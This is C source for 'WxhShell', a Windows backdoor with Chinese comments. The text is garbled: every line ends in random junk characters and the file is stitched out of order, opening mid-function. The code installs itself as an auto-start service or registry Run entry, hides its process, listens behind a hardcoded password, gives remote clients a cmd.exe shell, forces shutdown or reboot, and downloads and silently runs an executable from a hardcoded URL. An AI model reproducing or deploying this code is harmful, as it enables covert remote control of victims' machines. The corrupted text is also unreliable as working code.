    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K6U>Qums  
    if(Boot(SHUTDOWN)) {Vm36/a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mI0r,Z*+M  
    else { MD)"r>k  
    closesocket(wsh); 8G P}g?%  
    ExitThread(0); ( A)wcB  
    } *J=ol  
    break; 1`t?5|s>  
    } 85 hYYB0v  
  // 获取shell jJvNN -^  
  case 's': { Y P c<  
    CmdShell(wsh); <7^~r(DP  
    closesocket(wsh); Zy%Z]dF  
    ExitThread(0); yDC97#%3u  
    break; ,Ai i>D]  
  } ;cr6Xop#?  
  // 退出 c v 9 6F  
  case 'x': { B,>FhX>h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -Tx tX8v  
    CloseIt(wsh); Mvv=)?:  
    break; %np#Bv-L  
    } "Zk6B"o)  
  // 离开 av?BpN"l  
  case 'q': { "BRE0Ir:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )'~FDw\6  
    closesocket(wsh); Anv8)J!9u  
    WSACleanup(); uH[0kh  
    exit(1); G#: !wI  
    break; mW-W7-JhO7  
        } E'8Bw7Tz  
  } 5m42Bqy"  
  } 02[II_< 1  
R!,)?j;  
  // 提示信息 gxM8IQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "~<~b2Y"5  
} pG6-.F;  
  } 5XI*I( .%/  
A.O~'')X  
  return; ?m1$*j  
} ]LTc)[5Zj  
GJs[m~`8#  
// shell模块句柄 \<B6>  
int CmdShell(SOCKET sock) WZ&@ JB  
{ L@r.R_*H?s  
STARTUPINFO si; sV[Z|$&Z  
ZeroMemory(&si,sizeof(si)); Xb* _LZAU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hhAC@EGG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M[u3]dN  
PROCESS_INFORMATION ProcessInfo; 4d G-  
char cmdline[]="cmd"; Z!reX6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v s|6w w  
  return 0; _KVB~loT  
} I;-5]/,  
#ya|{K  
// 自身启动模式 3SDWR@x&  
int StartFromService(void) I%919  
{ 3 ?F@jEQk  
typedef struct >-lL -%N_  
{ Qu FCc1Q  
  DWORD ExitStatus; X.l"f'`l  
  DWORD PebBaseAddress; f+Medc~  
  DWORD AffinityMask; W;dzLgc  
  DWORD BasePriority; 2gAdZE&Y  
  ULONG UniqueProcessId; ,jsx]U/^  
  ULONG InheritedFromUniqueProcessId; ~#_$?_/(  
}   PROCESS_BASIC_INFORMATION; lMez!qx,=  
N>%KV8>{L  
PROCNTQSIP NtQueryInformationProcess; y=xe<#L  
g/Jj]X#r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jA4v?(AO}#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $L8s/1up  
K)UOx#xe1  
  HANDLE             hProcess; "!6~*!]c  
  PROCESS_BASIC_INFORMATION pbi; 8M+F!1-#  
xKST-:c+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P=[x!}.I  
  if(NULL == hInst ) return 0; 14 'x-w^~k  
up3<=u{>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ysJhP .  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OCO,-(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ' 5 qL  
({ kGK0  
  if (!NtQueryInformationProcess) return 0; S aet";pf`  
h$ iyclX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jQeE07g  
  if(!hProcess) return 0; zMzf=~  
b%f2"e0g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1=5'R/k  
zRoEx1  
  CloseHandle(hProcess); vKf;&`^qE  
GnrW {o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zw0 r i6  
if(hProcess==NULL) return 0; W#7-%o T  
=tRe3o0(  
HMODULE hMod; -sH.yAvC6  
char procName[255]; k,iV$,[TF  
unsigned long cbNeeded;  Ox*T:5  
-_*XhD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B m@oB2x)  
TgE.=`"7  
  CloseHandle(hProcess); k=~pA iRDN  
>wk=`&+V@  
if(strstr(procName,"services")) return 1; // 以服务启动 b;`#Sea  
VE"0 VB.  
  return 0; // 注册表启动 Y1_6\zpA  
} lPQ Ut!xI  
\]#;!6ge  
// 主模块 .y_bV=  
int StartWxhshell(LPSTR lpCmdLine) \3(| c#c  
{ UH,4b`b  
  SOCKET wsl; +fCyR  
BOOL val=TRUE; k&_u\D"^"%  
  int port=0; hOLy*%  
  struct sockaddr_in door; >`?+FDOJ,  
VmH_0IM^6  
  if(wscfg.ws_autoins) Install(); JS7}K)A2B6  
($ B ]9*  
port=atoi(lpCmdLine); ;7^j-6  
h-+a;![  
if(port<=0) port=wscfg.ws_port; -KJ!  
OK2/k_jXN'  
  WSADATA data; 9EA !j}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8j+:s\  
\ [^) WQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]V769B9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {9|$%4kRl  
  door.sin_family = AF_INET; J(&M<<%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0e:QuV2X  
  door.sin_port = htons(port); z'} =A  
GE8D3V;*V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vb.Y8[  
closesocket(wsl); Gp3nR<+  
return 1; `ToRkk&&>{  
} k1Mxsd  
yw Q!9 \  
  if(listen(wsl,2) == INVALID_SOCKET) { Q~Sv2  
closesocket(wsl); sHPwW5j/o'  
return 1; JXRf4QmG  
} (zw=qbS&  
  Wxhshell(wsl); "G-0iKW;  
  WSACleanup(); -2jBs-z  
)4F/T,{;m  
return 0; ]T3BDgu%&  
A]O5+" mc  
} X6N]gD  
V.QzMF"o  
// 以NT服务方式启动 kq}eUY]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fF9oYOh|  
{ ^I0GZG  
DWORD   status = 0; >]XaUQ-  
  DWORD   specificError = 0xfffffff; 71<PEawL  
cH*/zNp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N4` 9TN7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &(uF&-PwO4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eYD9#y  
  serviceStatus.dwWin32ExitCode     = 0; !Nxn[^[?.  
  serviceStatus.dwServiceSpecificExitCode = 0; @F(3*5c_Y  
  serviceStatus.dwCheckPoint       = 0; =y-!k)t  
  serviceStatus.dwWaitHint       = 0; ?Str*XA;  
Rqb{)L X*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?4,*RCaI  
  if (hServiceStatusHandle==0) return; ~q]|pD"\K|  
:a f;yu  
status = GetLastError(); "U5Ln2X{J  
  if (status!=NO_ERROR) hNq8 uyKx  
{ [>M*_1F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [,o5QH\Etq  
    serviceStatus.dwCheckPoint       = 0; v1X&p\[d  
    serviceStatus.dwWaitHint       = 0; r@ T-Hi  
    serviceStatus.dwWin32ExitCode     = status; ),y!<\oQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; rm)SfT<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !8"$d_=h  
    return; T?]kF-   
  } #-gGsj;F  
QC\g%MVG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rPo\Dz  
  serviceStatus.dwCheckPoint       = 0; {7Gx9(  
  serviceStatus.dwWaitHint       = 0; l`M5'r]l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d[>N6?JA/  
} {Z?$Co^R  
+.gf]|  
// 处理NT服务事件,比如:启动、停止 sQ>B_Y!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b!^M}s6  
{ =@1R ozt  
switch(fdwControl) ;*)fO? TG)  
{ e0|_Z])D  
case SERVICE_CONTROL_STOP: e1 {t0f  
  serviceStatus.dwWin32ExitCode = 0; B~_,>WG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cpF1XpvT  
  serviceStatus.dwCheckPoint   = 0; -|k&L}\OB0  
  serviceStatus.dwWaitHint     = 0; CNpe8M=/3  
  { HV$9b~(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z7@(uIl=X  
  } Ah"'hFY  
  return;  ENYF0wW  
case SERVICE_CONTROL_PAUSE: 9#EHXgz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q0L@.`~  
  break; _86*.3fQG  
case SERVICE_CONTROL_CONTINUE: :uIi ?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &Xn8oe  
  break; i>]<*w  
case SERVICE_CONTROL_INTERROGATE: Av;q:x?  
  break; 94p:|5@  
}; B.Zm$JZ:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); veX"CY`hn  
} ^ =/?<C4  
6 <qwP?WN  
// 标准应用程序主函数 sx[&4 k[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %eutfM-?6  
{ ;Oi[:Ck  
\&\_>X.,  
// 获取操作系统版本 20.-;jK  
OsIsNt=GetOsVer(); i!1ho T$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u6iU[5  
56bud3CVs  
  // 从命令行安装 EZ%w=  
  if(strpbrk(lpCmdLine,"iI")) Install(); *793H\  
~<2 IIR$H  
  // 下载执行文件 hr_9;,EPh  
if(wscfg.ws_downexe) { $IxU6=ajn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L= :d!UF  
  WinExec(wscfg.ws_filenam,SW_HIDE); *%OYAsc  
} RVgPH<1X@e  
PkPDVv  
if(!OsIsNt) { &*G5J7%w  
// 如果时win9x,隐藏进程并且设置为注册表启动 d%#!nq{vd  
HideProc(); m?D <{BQ;  
StartWxhshell(lpCmdLine); tp6csS,  
} (b/A|hl  
else .)"_Q/q  
  if(StartFromService()) S1 EEASr!}  
  // 以服务方式启动 [5? 4c'Ev  
  StartServiceCtrlDispatcher(DispatchTable); Q )LXL.0h  
else tb:,Uf>E  
  // 普通方式启动 M('s|>\l  
  StartWxhshell(lpCmdLine); E-yT  
O6m.t%*  
return 0; ~7lTqY\  
} yqC Q24  
YGq=8p7.R  
X$7Oo^1;  
h&=O-5  
=========================================== GSMk\9SI  
7SgweZ}"  
b 0LGH. z4  
ibd$%;bX3  
KP[NuXA`  
GI2eJK  
" j4~7akG  
m,W) N9 M  
#include <stdio.h> >lD;0EN  
#include <string.h> 7BL |x  
#include <windows.h> Q00R<hu@F  
#include <winsock2.h> uipq=Yp.  
#include <winsvc.h> z-EwXE  
#include <urlmon.h> B ~fSMB6h  
csH2_+uG  
#pragma comment (lib, "Ws2_32.lib") @~m=5C  
#pragma comment (lib, "urlmon.lib") <Rcu%&;i  
[[R7~.;  
#define MAX_USER   100 // 最大客户端连接数 !dU9sB2  
#define BUF_SOCK   200 // sock buffer ;y>S7n>n:  
#define KEY_BUFF   255 // 输入 buffer o"rq/\ovv  
'|vD/Qf=&  
#define REBOOT     0   // 重启 Tub1S v>J  
#define SHUTDOWN   1   // 关机 "w}-?:# j  
f4]N0  
#define DEF_PORT   5000 // 监听端口 "z rA``  
E,{GU  
#define REG_LEN     16   // 注册表键长度 {>8Pl2J  
#define SVC_LEN     80   // NT服务名长度 z%(Fo2)^  
Y/. AUN Z  
// 从dll定义API &+mV7o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V ]79vC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aWyUu/g<A`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  !M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ye9Y^+-  
x(L(l=^"  
// wxhshell配置信息 /b{o3, #.M  
struct WSCFG { &4,WG  
  int ws_port;         // 监听端口 |u@+`4o  
  char ws_passstr[REG_LEN]; // 口令 :.*HQt9N  
  int ws_autoins;       // 安装标记, 1=yes 0=no ojHhT\M`  
  char ws_regname[REG_LEN]; // 注册表键名 !Y ( apVQ  
  char ws_svcname[REG_LEN]; // 服务名 t#C,VwMe[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >\V6+$cNp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]UDd :2yt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q[7CPE0n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9<yAQ?7 L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rh@r\ H@j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +'%@!  
bS>R5*Zp  
}; HF"Eys  
>~_J q|KBB  
// default Wxhshell configuration "`pNH'   
struct WSCFG wscfg={DEF_PORT, S]}}A  
    "xuhuanlingzhe", n.*3,4.]  
    1, \tY"BC4.  
    "Wxhshell", i+g~ Uj}h  
    "Wxhshell", ,V,f2W 4  
            "WxhShell Service", $@_{p*q  
    "Wrsky Windows CmdShell Service", 4SgF,ac3r  
    "Please Input Your Password: ", ?w-1:NW jt  
  1, I%oRvg|q  
  "http://www.wrsky.com/wxhshell.exe", eP"`,<  
  "Wxhshell.exe" XAe\s`  
    }; \V,c]I   
"!O1j r;  
// 消息定义模块 |^R*4;Phe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ((XE\V\}Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "e 1wr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hkdf$$\  
char *msg_ws_ext="\n\rExit."; zDD4m`2  
char *msg_ws_end="\n\rQuit."; 5F2_xH$5  
char *msg_ws_boot="\n\rReboot..."; U&X2cR &a  
char *msg_ws_poff="\n\rShutdown..."; GcT;e5D  
char *msg_ws_down="\n\rSave to "; SxJ$b  
l3.  
char *msg_ws_err="\n\rErr!"; ]4`t\YaT  
char *msg_ws_ok="\n\rOK!"; ;B~P>n}}_]  
.u l 53 m  
char ExeFile[MAX_PATH]; 'BY-OA#xJ  
int nUser = 0; ?~J i-{#X  
HANDLE handles[MAX_USER]; l<(cd,  
int OsIsNt; }Dn^d}?s||  
HTV ~?E  
SERVICE_STATUS       serviceStatus; H3 , ut  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8-m 3e  
`\bT'~P  
// 函数声明 ~2@Lx3t$  
int Install(void); (9 sIA*,}  
int Uninstall(void); VPt9QL(  
int DownloadFile(char *sURL, SOCKET wsh); 4:7mK/Z  
int Boot(int flag); {^#2=`:)O  
void HideProc(void); *^] ~RhjB  
int GetOsVer(void); Tzzq#z&F  
int Wxhshell(SOCKET wsl); Ytao"R/  
void TalkWithClient(void *cs); d|XmasGN  
int CmdShell(SOCKET sock); "xe=N  
int StartFromService(void); Mo D?2J  
int StartWxhshell(LPSTR lpCmdLine); v!9i"@<!  
!nd*W"_gQ/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @Y}uZ'jt'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7{e=="#*  
@5.e@]>ZM  
// 数据结构和表定义 MPIlSMe  
SERVICE_TABLE_ENTRY DispatchTable[] = X8i(~ B  
{ ySe$4deJ  
{wscfg.ws_svcname, NTServiceMain}, ]N^*tO  
{NULL, NULL} YuQ~AE'i  
}; lwT9~Hyp  
D'b#,a;V  
// 自我安装 2C$R4:Ssw)  
int Install(void) & ze>X  
{ (CJ.BHu]  
  char svExeFile[MAX_PATH]; 9@K.cdRjQ  
  HKEY key; o%`Xa#*Ly  
  strcpy(svExeFile,ExeFile); im]g(#GnKh  
G,XPT,:%  
// 如果是win9x系统,修改注册表设为自启动 6?qDdVR~]  
if(!OsIsNt) { #DFV=:|~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <@G8ni  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rv>^TR*,!  
  RegCloseKey(key); BQ/PGY>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \L # INP4~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S{#cD1>.  
  RegCloseKey(key); }^-<k0A4?  
  return 0; 8 Ti G3  
    } P:C2G(V1AR  
  } w8Vw1wW  
} bc I']WgB-  
else { Hp Vjee  
$g10vF3  
// 如果是NT以上系统,安装为系统服务 D\1k.tI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >\2:\wI  
if (schSCManager!=0) EpYy3^5d  
{ UG;Y^?Ppe5  
  SC_HANDLE schService = CreateService x;LzG t:w  
  ( JWv{=_2w  
  schSCManager, J~#$J&iKh  
  wscfg.ws_svcname, >?lOE -}^  
  wscfg.ws_svcdisp, 52d^K0STC  
  SERVICE_ALL_ACCESS, C [uOReo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kW@,$_cK  
  SERVICE_AUTO_START, w%y\dIeI'  
  SERVICE_ERROR_NORMAL, 8X$LC  
  svExeFile, k |YWOy@D~  
  NULL, yClx` S(  
  NULL, 9Q;c ,]  
  NULL, .]x2K-Sf  
  NULL,  d$W  
  NULL j(rL  
  ); '?QuJFki  
  if (schService!=0) @+LfQY  
  { "*z_O  
  CloseServiceHandle(schService); @U{<a#  
  CloseServiceHandle(schSCManager); :hRs`=d"r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ju2l?Rr X  
  strcat(svExeFile,wscfg.ws_svcname); 5 2_#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a4 MZ;5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0aI;\D*Ts  
  RegCloseKey(key); TUIk$U?/I  
  return 0; "O[j!fG8,  
    } (u3s"I d  
  } 44ed79ly0)  
  CloseServiceHandle(schSCManager); q.#[TI ^  
} ccFn.($p?,  
} .w?(NZ2~  
69K{+|  
return 1; ->^~KVh&  
} )~J>X{hy  
a:TvWzX,  
// 自我卸载 Kl{>jr8B3  
int Uninstall(void) zSEs?  
{ `d]IX^;  
  HKEY key; cO2& VC  
!4"^`ors$  
if(!OsIsNt) { 4+;$7"fJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :O<bA& :d  
  RegDeleteValue(key,wscfg.ws_regname); x%+{VStA  
  RegCloseKey(key); d[ >`")2)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WLa!.v>  
  RegDeleteValue(key,wscfg.ws_regname); %+>s#Q2d  
  RegCloseKey(key); %xZG*2vc!B  
  return 0;  p?D2)(  
  } <*!i$(gn  
} U9y|>P\)T  
} +  @9.$6N  
else { &,\=3 '  
j%u-dr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N,dT3we  
if (schSCManager!=0) M 3 '$[  
{ '_\;jFAM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $''?HjB}T  
  if (schService!=0) }9HmTr|  
  { {`=0 |oP}  
  if(DeleteService(schService)!=0) { K,'*Dz  
  CloseServiceHandle(schService); cJo\#cr  
  CloseServiceHandle(schSCManager); vbx6I>\Y  
  return 0; IQ< MyB(  
  } F~:O.$f]G  
  CloseServiceHandle(schService); @`opDu!  
  } :2 >hoAJJ  
  CloseServiceHandle(schSCManager); B vo5-P6XY  
} >(w2GD?  
} `afIYXP  
U[L9*=P;  
return 1;  VGHWNMT  
} s>k Uh  
7|\@zQ h   
// 从指定url下载文件 `\`>0hlu  
int DownloadFile(char *sURL, SOCKET wsh) *L6PLe  
{ PWRy7d  
  HRESULT hr; 7(M(7}EKA  
char seps[]= "/"; w=]Ks'C]  
char *token; $Nrm!/)*'}  
char *file; <~TP#uAz  
char myURL[MAX_PATH]; pLa[}=  
char myFILE[MAX_PATH]; f4-a?bp  
XC 7?VE  
strcpy(myURL,sURL); TD[EQ  
  token=strtok(myURL,seps); %*aJLn+]_R  
  while(token!=NULL) ^, l_{  
  { ?Xdak|?i  
    file=token; )VL96did  
  token=strtok(NULL,seps); !Fo*e  
  } M.-"U+#aD  
Xs&TJ8a  
GetCurrentDirectory(MAX_PATH,myFILE); uw\2qU3gk  
strcat(myFILE, "\\"); V.ht, ~l  
strcat(myFILE, file); @`tXKP$so  
  send(wsh,myFILE,strlen(myFILE),0); ES~^M840f  
send(wsh,"...",3,0); iwz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UYk>'\%H0  
  if(hr==S_OK) w -Nhs6  
return 0; Ol"3a|  
else Fhv/[j^X  
return 1; } VJfJ/  
vZ/6\Cz  
} xtPLR/Z  
L9pvG(R%  
// 系统电源模块 lis/`B\x  
int Boot(int flag) *  tCS  
{ JN^ &S  
  HANDLE hToken;  Qk!;M |  
  TOKEN_PRIVILEGES tkp;  +`7KSwa  
xq6cKtSv  
  if(OsIsNt) { N#lDW~e'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .@ xF6UZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4Mk-2 Dx  
    tkp.PrivilegeCount = 1; gaA<}Tp,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `1{N=!U(&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &//wSlL3  
if(flag==REBOOT) { E_KCNn-f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UAR5^  
  return 0; qE'9QQ>:b  
} e8YMX&0%  
else { m<L;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6wco&7   
  return 0; 98 8]}{w  
} | mu+9   
  } 1ygpp0IGJ  
  else { 1c JF/"v  
if(flag==REBOOT) { P oEqurH0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r=yK,d/1  
  return 0; Ai D[SR  
} Fnk_\d6Ma  
else { v]__%_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?+T^O?r|O  
  return 0; >]o}}KF?  
} S+TOSjfis  
} \om%Q[F7a  
{3N'D2N  
return 1; =^H4Yck/5  
} eZ"1gYqy  
cyxuK*x<  
// win9x进程隐藏模块 E}%hz*Q)(  
void HideProc(void) 5[j`6l  
{ qfcYE=  
JCAq8=zM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <~ JO s2  
  if ( hKernel != NULL ) 6<K6Y5<6  
  { 4v[~r1!V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g$. \  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @( n^T  
    FreeLibrary(hKernel); Ltjbxw"Qd  
  } `jS T  
bc , p }  
return; D&HV6#  
} i#%aTRKHd6  
s1?[7yC  
// 获取操作系统版本 p4p@^@<>X  
int GetOsVer(void) ~b {Gz6u>  
{ ;[RZ0Uy=  
  OSVERSIONINFO winfo; lO2[JP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E^U0f/5 m  
  GetVersionEx(&winfo); sB69R:U;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y4+ ;z2' >  
  return 1; RpLE 02U  
  else |yo\R{&6  
  return 0; e.c3nKXZ q  
} KR7@[  
mo~*C   
// 客户端句柄模块 p}[zt#v  
int Wxhshell(SOCKET wsl) =IAsH85Q  
{ qY 4#V k  
  SOCKET wsh; $=?@*p  
  struct sockaddr_in client; Ts~L:3oaQ  
  DWORD myID; $ cj>2.   
`K ,1K  
  while(nUser<MAX_USER) nC{%quwh{  
{ Zw wqSyuGf  
  int nSize=sizeof(client); ^&g=u5 d0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fs[aa#v4B  
  if(wsh==INVALID_SOCKET) return 1; Vb BPB5 $q  
u{["50~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ] }f9JNf$  
if(handles[nUser]==0) >vo=]c w  
  closesocket(wsh); y\{%\$  
else ax 41N25  
  nUser++; M:5b4$Qh<  
  } C* nB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }MUn/ [x  
If%/3UJ@  
  return 0; Z4IgBn(Z_}  
} '=P7""mN5  
1 hg}(Hix  
// 关闭 socket JmEj{K<3I  
void CloseIt(SOCKET wsh) F:mq'<Q  
{ BL&LeSa  
closesocket(wsh); 7t.!lh5G%  
nUser--; ,]b~t0|B  
ExitThread(0); ZoArQ(YFy  
} h;3cd0  
3j3N!T9  
// 客户端请求句柄 Fv<`AU  
void TalkWithClient(void *cs) vzmc}y G  
{ x`6<m!d`  
]vuwkn+)  
  SOCKET wsh=(SOCKET)cs; ^U]UqX`  
  char pwd[SVC_LEN]; SM@QUAXO  
  char cmd[KEY_BUFF]; XkyKBg-  
char chr[1]; IUtx!.]4  
int i,j; "--t e  
"n*~Mj Ny  
  while (nUser < MAX_USER) { +Jr|z\  
o6//IOZ  
if(wscfg.ws_passstr) { "W(Q%1!Wi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jv&!Kw.Ug  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wb~@7,D  
  //ZeroMemory(pwd,KEY_BUFF); J:skJ.Wx  
      i=0; I[n ^{8gz  
  while(i<SVC_LEN) { 8mQmi`  
6]-SK$  
  // 设置超时 ur$l Z0  
  fd_set FdRead; [|l?2j\  
  struct timeval TimeOut; yV^s,P1  
  FD_ZERO(&FdRead); t'ZWc\  
  FD_SET(wsh,&FdRead); )aX,%yK  
  TimeOut.tv_sec=8; S6[v;{xJ  
  TimeOut.tv_usec=0; >|;aIa@9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EAeqLtFqs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?mlNL/:  
h>Hb `G<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -1J[n0O.  
  pwd=chr[0]; + T8B:  
  if(chr[0]==0xd || chr[0]==0xa) { )Y)pmjZaG  
  pwd=0; xp Og8u5  
  break;  }K3x  
  } +E1h#cc)  
  i++; <vwkjCA`  
    } Onwp-!!.  
 @Pt="*g  
  // 如果是非法用户,关闭 socket @'GGm#<   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]7e =fM9V;  
} hqRw^2F  
6"}?.E$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); be +4junf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @lvyDu6e  
"Y\_TtY  
while(1) { #UbF9})q  
cH>%r^G\  
  ZeroMemory(cmd,KEY_BUFF); R+CM`4CD  
O|w J)  
      // 自动支持客户端 telnet标准   KIWe@e  
  j=0; ;amXY@RmH  
  while(j<KEY_BUFF) { w}=5ElB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &iV,W4  
  cmd[j]=chr[0]; aE2.L;Tk?  
  if(chr[0]==0xa || chr[0]==0xd) { t]-5 ]oI  
  cmd[j]=0; [p<w._b i  
  break; ^yOZArc'r  
  } 4R\ Hpt  
  j++; -a-(r'Qc(  
    } [Jv@J\  
#t+d iR  
  // 下载文件 YIjTL!bA"  
  if(strstr(cmd,"http://")) { nvPwngEQm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KVJ_E!i  
  if(DownloadFile(cmd,wsh))  f& CBU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8w.YYo8`  
  else AA7C$;Z15~  
